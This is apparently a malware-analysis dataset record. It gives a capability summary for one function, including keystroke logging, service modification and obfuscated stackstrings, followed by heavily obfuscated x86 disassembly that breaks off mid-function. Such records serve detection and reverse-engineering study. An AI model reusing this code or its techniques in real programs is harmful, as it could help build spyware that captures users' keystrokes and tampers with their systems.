Function at 0x1002fecf
Capabilities:
Accept command line arguments
Check os version
Contain obfuscated stackstrings
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file system object information
Log keystrokes
Log keystrokes via polling
Modify service
Parse pe header
Query or enumerate registry key
Start service
Suspend thread

Disassembly:
mov eax, 0x1008e06d
call fcn.1008ceb0
mov eax, 0x164c
call fcn.10089850
push ebx
xor eax, eax
mov byte [ebp - 0x75], dl
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x6c], ecx
inc edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0x1836ccb0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], 0x4b283066
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x4c], 0x789328a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002ff42
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1544], 0x1d2250db
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002ff29
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
jmp 0x1002ff73
cmp dword [ebp - 0x28], eax
jne 0x1002ff79
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1002ff70
push 0x11e6
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xf
jne 0x1002ff54
mov dword [ebp - 0x5c], 0x69f4
mov dword [ebp - 0x30], 0xfb1c0380
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x60], 0xd7540573
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x64], 0x9958900f
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x14], 0x9f5ab171
push 3
mov dword [ebp - 0x1c], eax
pop ebx
cmp dword [ebp - 0x1c], ebx
jge 0x1002ffd6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb48], 0x187110e6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ffbe
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fff6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x126c], 0xa44198d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ffde
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030016
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a4], 0x826f393
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fffe
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x100300b1
dec dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a4]
je 0x10030038
mov eax, dword [ebp - 0x4c]
neg eax
je 0x10030038
mov esi, edi
jmp 0x1003003c
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0xb40]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setg dl
sub edx, eax
neg edx
push 0
sbb edx, edx
neg edx
mov edx, dword [ebp - 0x126c]
pop eax
sete al
sub edx, eax
mov eax, dword [ebp - 0x4c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0xb48]
imul edx, eax
mov eax, dword [ebp - 0x64]
cmp edx, eax
mov eax, dword [ebp - 0x5c]
setl cl
xor edx, edx
add ecx, esi
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
sub edx, 0x323f
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x60]
mov esi, 0xffff
mov dword [ebp - 0xb48], eax
xor eax, eax
dec dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x1c], 0x61f9
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x2c], 0xa75015e0
cmp dword [ebp - 0x1c], eax
je 0x10030100
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100301b0
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x100301ae
mov dword [ebp - 0x14], 0x8555145c
xor edx, edx
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x1c]
jge 0x10030130
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
cmp eax, 9
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, 0x1f9e
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x1c]
cmp edx, esi
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffc
setne cl
cmp ecx, dword [ebp - 0x2c]
jl 0x10030197
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffff6
setle cl
mov dword [ebp - 0x18], ecx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100301c1
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
xor eax, eax
mov dword [ebp - 0x30], eax
mov ecx, 0xa5d6c05b
mov dword [ebp - 0x30], edi
or esi, 0xffffffff
mov dword [ebp - 0x750], ecx
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x748], ecx
mov dword [ebp - 0x744], ecx
mov dword [ebp - 0x1c], 0x8da8e97e
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x10030291
mov dword [ebp - 0x24], 0xc4c8d3c8
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x10030288
mov dword [ebp - 0x14], 0xfffffffb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x750]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x750]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x750], ecx
test ecx, ecx
jne 0x10030241
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x10030243
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, 0x67120dd9
setle cl
xor eax, eax
sub ecx, 0x59512e2e
cmp edx, ecx
jl 0x1003027b
cmp dword [ebp - 0x748], eax
je 0x1003027b
mov eax, edi
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1003020f
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x100301fd
mov dword [ebp - 0x1c], eax
jmp 0x100302ac
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100302a9
push eax
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
je 0x10030296
mov dword [ebp - 0x30], 0x1836ccb0
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], 0x4b283066
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x4c], 0x789328a
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x100302f3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1354], 0x1d2250db
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100302db
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x1c], 0x13a473eb
mov dword [ebp - 0x18], 0x11738ab6
mov dword [ebp - 0x44], 0x52e2cc7b
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10030332
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x132c], 0xd526
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003031a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030344
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x300], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10030337
mov eax, dword [ebp - 0x1c]
push 7
pop edx
cmp edx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x10030548
mov dword [ebp - 0x50], 0xa3f30045
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x1003049d
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x10030494
mov dword [ebp - 0x20], edi
lea ecx, [ebp - 0x888]
push edi
call fcn.10016f54
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100303cd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x888]
call fcn.10016fe2
mov dword [eax], 0xc07c2076
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100303af
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10030475
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x14], eax
jmp 0x100303f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13d4], 0x6d6dbc1c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100303e6
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x888]
xor eax, eax
push eax
call fcn.10016fe2
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10030421
mov esi, eax
cmp dword [ebp - 0x28], eax
je 0x10030423
mov esi, edi
mov dword [ebp - 0x13d4], 0xfe81720d
lea ecx, [ebp - 0x888]
push eax
call fcn.10016fe2
xor edx, edx
cmp esi, 0xfe81720d
push 7
setne dl
xor ecx, ecx
cmp dword [eax], edx
pop eax
setl cl
cmp ecx, eax
mov eax, dword [ebp - 0x50]
push 0
sbb ecx, ecx
neg ecx
sub ecx, eax
neg ecx
pop eax
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100303da
or esi, 0xffffffff
lea ecx, [ebp - 0x888]
mov dword [ebp - 4], esi
call fcn.10016fdd
inc dword [ebp - 0x28]
push 2
pop ecx
cmp dword [ebp - 0x28], ecx
jle 0x1003038d
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1003037e
cmp dword [ebp - 0x40], eax
je 0x10030536
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
je 0x100304bf
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x100304c1
mov ecx, edi
jmp 0x100304c3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x5c]
add eax, ecx
jne 0x100304d1
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x100304d3
mov ecx, edi
mov eax, dword [ebp - 0x40]
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, 0xffff
setg cl
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x300], ecx
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x40], 0xfffffffa
jne 0x1003050d
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x300]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1328]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jne 0x10030534
mov eax, edi
jmp 0x10030536
xor eax, eax
push 0
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x1c]
pop eax
push 2
pop ecx
jns 0x10030365
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0xe446df37
push 4
call fcn.10016f54
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x24], 0x46d7
mov dword [ebp - 0x14], eax
jmp 0x10030591
push dword [ebp - 0x14]
lea ecx, [ebp - 0x334]
call fcn.10016fe2
mov dword [eax], 0x2df3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003057a
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100305fb
push edi
lea ecx, [ebp - 0x334]
call fcn.10016fe2
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, edi
push edi
setg dl
xor ebx, ebx
cmp dword [eax], edx
mov eax, dword [ebp - 0x20]
setne bl
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x334]
call fcn.10016fe2
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax]
je 0x100305fb
xor eax, eax
mov esi, eax
jmp 0x100305fd
mov esi, edi
push edi
lea ecx, [ebp - 0x334]
call fcn.10016fe2
mov eax, dword [eax]
add eax, esi
mov eax, 0x927db404
je 0x1003073a
mov dword [ebp - 0x44], 0x9ba87a5
xor eax, eax
mov dword [ebp - 0x4c], 0x72737ae9
cmp dword [ebp - 0x18], eax
jne 0x1003064c
push edi
lea ecx, [ebp - 0x334]
call fcn.10016fe2
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x28]
jl 0x1003064c
xor eax, eax
mov ecx, eax
jmp 0x1003064e
mov ecx, edi
mov eax, dword [ebp - 0x18]
imul eax, ecx
xor ecx, ecx
cmp eax, 0x5f40e13f
mov eax, 0xf4ea14c5
setg cl
sub eax, ecx
imul eax, dword [ebp - 0x44]
inc dword [ebp - 0x44]
test eax, eax
je 0x100306ed
movdqa xmm0, xmmword [0x10008250]
lea eax, [ebp - 0x1068]
push eax
lea eax, [ebp - 0x1078]
push eax
lea ecx, [ebp - 0x14fc]
movdqu xmmword [ebp - 0x1078], xmm0
call fcn.10016ff1
lea ecx, [ebp - 0x171]
mov esi, eax
call fcn.10009273
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x101c]
push dword [esi]
call fcn.10016fb3
push 3
pop ebx
push ebx
lea ecx, [ebp - 0x101c]
mov byte [ebp - 4], 2
call fcn.10016fe2
dec dword [eax]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100306dd
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea ecx, [ebp - 0x101c]
call fcn.10016fdd
jmp 0x100307a3
xor eax, eax
push 3
mov dword [ebp - 0x28], eax
pop ebx
jmp 0x1003070b
cmp byte [ebp - 0x35], 0
je 0x10030708
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
mov byte [ebp - 0x35], al
jle 0x100306f7
cmp byte [ebp - 0x35], 0
je 0x100307a5
push eax
push 0x1cbf
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
jmp 0x100307a3
mov dword [ebp - 0x4c], 4
lea ecx, [ebp - 0x334]
mov dword [ebp - 0xdbc], eax
mov dword [ebp - 0xdb8], eax
mov dword [ebp - 0xdb4], eax
push 3
mov dword [ebp - 0xdb0], eax
pop ebx
mov dword [ebp - 0x2c], 6
mov eax, dword [ebp - 0x24]
push ebx
call fcn.10016fe2
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x4c]
add ecx, 0x4fc6a3f0
cmp ecx, eax
setl dl
mov dword [ebp - 0xdbc], edx
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100307c4
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100307c1
push eax
push 0x121d
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xc
jle 0x100307aa
or esi, 0xffffffff
lea ecx, [ebp - 0x334]
mov dword [ebp - 4], esi
call fcn.10016fdd
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x18], 0xc03342eb
push 7
mov dword [ebp - 0x2c], 0xc77dcda7
pop eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x18], 2
jmp 0x1003085e
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 0x589b5833
cmp dword [ebp - 0x14], eax
je 0x10030817
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setne dl
mov dword [ebp - 0x4c], edx
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
xor ecx, ecx
test edx, edx
setle cl
xor eax, eax
cmp ecx, 0xe80d
setg al
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10030855
mov eax, edi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x64]
dec dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], 0xffffffef
jg 0x100307ff
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0x1836ccb0
push ebx
call fcn.10016f54
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 0x24], 0xe9bf9f36
push edi
call fcn.10016f54
mov byte [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100308c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
mov dword [eax], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100308aa
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100308e0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3c8]
call fcn.10016fe2
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100308cd
push edi
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
lea ecx, [ebp - 0x3c8]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016fe2
push edi
lea ecx, [ebp - 0xc4]
mov dword [eax], 0xf34111d0
call fcn.10016fe2
xor ecx, ecx
push edi
cmp dword [eax], edi
setge cl
mov dword [ebp - 0x18], ecx
mov ecx, 0xbf889e02
mov eax, dword [ebp - 0x18]
cmp ecx, eax
lea ecx, [ebp - 0xc4]
sbb esi, esi
neg esi
call fcn.10016fe2
lea ecx, [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, esi
setge dl
cmp edx, dword [eax]
je 0x10030971
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.10016fe2
cmp dword [eax], 0
je 0x10030971
mov esi, edi
xor eax, eax
jmp 0x10030975
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
cmp esi, dword [eax]
jg 0x10030991
push edi
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
push edi
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
push edi
lea ecx, [ebp - 0xc4]
imul esi, dword [eax], 0xfffffff8
call fcn.10016fe2
cmp esi, dword [eax]
jge 0x100309b3
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x20], 0xa26cdee9
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
push 8
pop ecx
cmp dword [ebp - 0x14], edi
jge 0x100309e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x764], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100309cd
xor eax, eax
push eax
lea ecx, [ebp - 0xc4]
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.10016fe2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xc4]
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, 0xfd6b2214
push edi
cmp ecx, dword [eax]
lea ecx, [ebp - 0xc4]
sbb esi, esi
neg esi
call fcn.10016fe2
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ecx, esi
setge dl
add edx, dword [eax]
mov eax, dword [ebp - 0x18]
imul eax, edx
cmp eax, dword [ebp - 0x5c]
jge 0x10030a51
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.10016fe2
cmp dword [eax], 0
je 0x10030a51
mov ecx, edi
jmp 0x10030a55
xor eax, eax
mov ecx, eax
xor eax, eax
test ecx, ecx
push 2
setle al
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x4c], eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
jge 0x10030a8b
xor eax, eax
cmp dword [ebp - 0x5c], eax
je 0x10030a8d
cmp dword [ebp - 0x20], eax
je 0x10030a8d
mov esi, edi
jmp 0x10030a8f
xor eax, eax
mov esi, eax
mov dword [ebp - 0x764], esi
lea ecx, [ebp - 0x3c8]
push eax
call fcn.10016fe2
mov dword [eax], esi
mov dword [ebp - 0x18], 0xfffffffe
cmp dword [ebp - 0x18], 0x1c
jge 0x10030ade
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10030ad0
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030acd
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x10030ab7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jl 0x10030ab2
lea ecx, [ebp - 0x3c8]
call fcn.10016fdd
or esi, 0xffffffff
lea ecx, [ebp - 0xc4]
mov dword [ebp - 4], esi
call fcn.10016fdd
mov dword [ebp - 0x2c], edi
lea ecx, [ebp - 0xd04]
mov dword [ebp - 0x30], 0x4b283066
mov dword [ebp - 0x44], 0x9949dfcf
push 7
pop eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x4c], 0xe54ee87f
mov dword [ebp - 0x24], 0xcfaf
mov dword [ebp - 0x20], 0x12af04
mov dword [ebp - 0x2c], 0xfffffffd
push ebx
call fcn.10016f54
xor eax, eax
mov dword [ebp - 4], 6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10030b67
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13ec], 0x37911b9c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10030b4e
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030b83
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd04]
call fcn.10016fe2
mov dword [eax], 0x9f8c5172
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030b6c
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x24]
test eax, eax
jne 0x10030bec
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
je 0x10030ba1
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030ba3
mov eax, edi
mov dword [ebp - 0x13e8], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, esi
setg cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
cmp eax, edx
setne cl
add ecx, 0x6896e60b
jne 0x10030bec
xor eax, eax
mov edx, eax
jmp 0x10030bee
mov edx, edi
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, edi
setge cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
lea ecx, [ebp - 0xd04]
setne al
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
sub edx, ecx
mov dword [ebp - 4], esi
lea ecx, [ebp - 0xd04]
mov dword [eax], edx
call fcn.10016fdd
mov dword [ebp - 0x30], 0xfffffffd
lea ecx, [ebp - 0x11c]
push edi
call fcn.10016f54
push 7
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0xd1c]
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x14], 0xa37d7c86
mov dword [ebp - 0x28], 0xec352115
push 2
call fcn.10016f54
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030ca7
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x11c]
call fcn.10016fe2
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030c8d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030cc7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x494], 0x5cb5542a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030caf
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10030cee
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xd1c]
call fcn.10016fe2
push 7
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030cd0
xor eax, eax
mov dword [ebp - 0x4c], edi
lea ecx, [ebp - 0x11c]
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x494], edi
push eax
call fcn.10016fe2
xor ecx, ecx
cmp dword [eax], ecx
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x11c]
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x44]
sub edi, ecx
lea ecx, [ebp - 0x11c]
sub edi, dword [eax]
neg edi
sbb edi, edi
xor eax, eax
push eax
inc edi
